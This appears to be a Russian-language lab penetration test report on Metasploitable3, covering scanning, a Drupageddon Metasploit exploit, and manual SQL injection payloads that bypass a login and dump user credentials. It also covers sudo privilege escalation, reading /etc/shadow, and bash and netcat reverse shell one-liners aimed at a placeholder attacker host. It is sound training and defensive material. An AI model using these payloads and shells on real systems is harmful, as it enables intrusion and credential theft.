Metasploitable3 — Отчёт о тестировании на проникновение

Автор: Arlen Fortunato
Дата: Сентябрь 2026
Среда: Parrot OS (атакующий) → Metasploitable3 Ubuntu 14.04 (цель)
Область: Полное тестирование сети на проникновение — разведка, эксплуатация, повышение привилегий, постэксплуатация
Тип: Домашняя лаборатория / Практика Capture The Flag

⚠️ Все учётные данные ниже отредактированы. Это было легальное, изолированное упражнение в домашней лаборатории.

Использованные инструменты

Разведка — полное сканирование портов Nmap

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

ОС: Linux Ubuntu 14.04, ядро 3.13.0-24-generic x86_64

Сводка находок

Детали находок

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — ложное срабатывание

Уязвимость: UnrealIRCd 3.2.8.1 исторически распространялся с троянизированным бинарником, который выполняет произвольные команды, когда неаутентифицированный клиент отправляет триггерную строку до регистрации — RCE от имени пользователя IRC-демона.

Попытка эксплуатации: модуль Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor с полезными нагрузками cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Автопроверка модуля сообщила об уязвимости службы; ни одна сессия не была получена ни с одной полезной нагрузкой.

Выполненные действия по устранению неполадок:

• Порт доступен (nc -vz)
• Порт подтверждён как plaintext IRC, а не TLS (openssl s_client)
• Ручное обратное подключение с цели подтвердило работоспособность исходящей сети
• Ручной триггер бэкдора через nc вернул ошибку протокола IRC 451 — команда была разобрана как IRC-команда, но не выполнена

Вывод: баннер версии указывает на уязвимую сборку, но бэкдор в данном экземпляре отсутствует (чистый/перекомпилированный бинарник). Классифицировано как неэксплуатируемое — ложное срабатывание, с доказательствами.

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Уязвимость: Drupal 7.x до 7.32 содержит критическую SQL-инъекцию в слое абстракции базы данных, позволяющую неаутентифицированное удалённое выполнение кода.

Подтверждение версии: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Эксплуатация:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Результат:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Разведка после эксплуатации:

• /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
• /home: 16 учётных записей пользователей

3. Приложение расчёта зарплат — UNION-based SQL-инъекция (вручную)

Уязвимость: форма входа payroll_app.php, SQL-инъекция в поле пароля. Автоматизация не использовалась — создано вручную через curl.

Шаг 1 — Обход аутентификации:

' or 1=1#

' закрывает SQL-строку, or 1=1 делает условие истинным, # закомментирует оставшуюся кавычку.

Шаг 2 — Подсчёт столбцов + сопоставление вывода:

' UNION SELECT null, null, null, null#     -- нет ошибки = 4 столбца
' UNION SELECT 1, 2, 3, 4#                 -- маркеры: 1=Username, 2=First, 3=Last, 4=Salary

Шаг 3 — Перечисление information_schema:

Шаг 4 — Дамп (пароли отредактированы):

' UNION SELECT username, password, salary, null FROM users#

4. SSH — учётные данные по умолчанию и повторное использование

Путь 1 — Учётная запись по умолчанию: стандартная пара учётных данных vagrant аутентифицировалась по SSH → пользователь в группе sudo с (ALL : ALL) NOPASSWD: ALL.

Путь 2 — Повторное использование учётных данных: учётные данные, полученные из дампа SQLi, аутентифицировались напрямую по SSH как другой лабораторный пользователь (luke_skywalker, группа sudo, (ALL : ALL) ALL).

Значимость: демонстрирует повторное использование учётных данных между службами — учётные данные приложения сопоставлены с системной учётной записью.

5. Повышение привилегий (два пути)

• Путь A: vagrant → sudo -l показывает NOPASSWD: ALL → sudo su - → uid=0(root).
• Путь B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

Локальный эксплойт не потребовался — обе учётные записи имеют чрезмерно разрешительные права sudo.

6. Дамп shadow

sudo cat /etc/shadow

Извлечено 16 хешей md5crypt ($1$) — полный сбор учётных данных после повышения привилегий.

7. Постэксплуатация — обратные оболочки

Полезная нагрузка 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Перехвачено на nc -lnvp 4444 → интерактивная оболочка.

Полезная нагрузка 2 — netcat (именованный канал):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Перехвачено на nc -lnvp 4445 → интерактивная оболочка.

Механизм: именованный канал (FIFO) соединяет stdin/stdout netcat с /bin/sh, образуя двунаправленный туннель через один сокет; FIFO удаляется после завершения.

Рекомендации по устранению

Отказ от ответственности

Все тестирования выполнялись исключительно в изолированной домашней лаборатории с использованием намеренно уязвимого программного обеспечения (Rapid7 Metasploitable3). Никакие производственные системы или несанкционированные цели не затрагивались. Этот отчёт предназначен только для образовательных целей и личного развития навыков.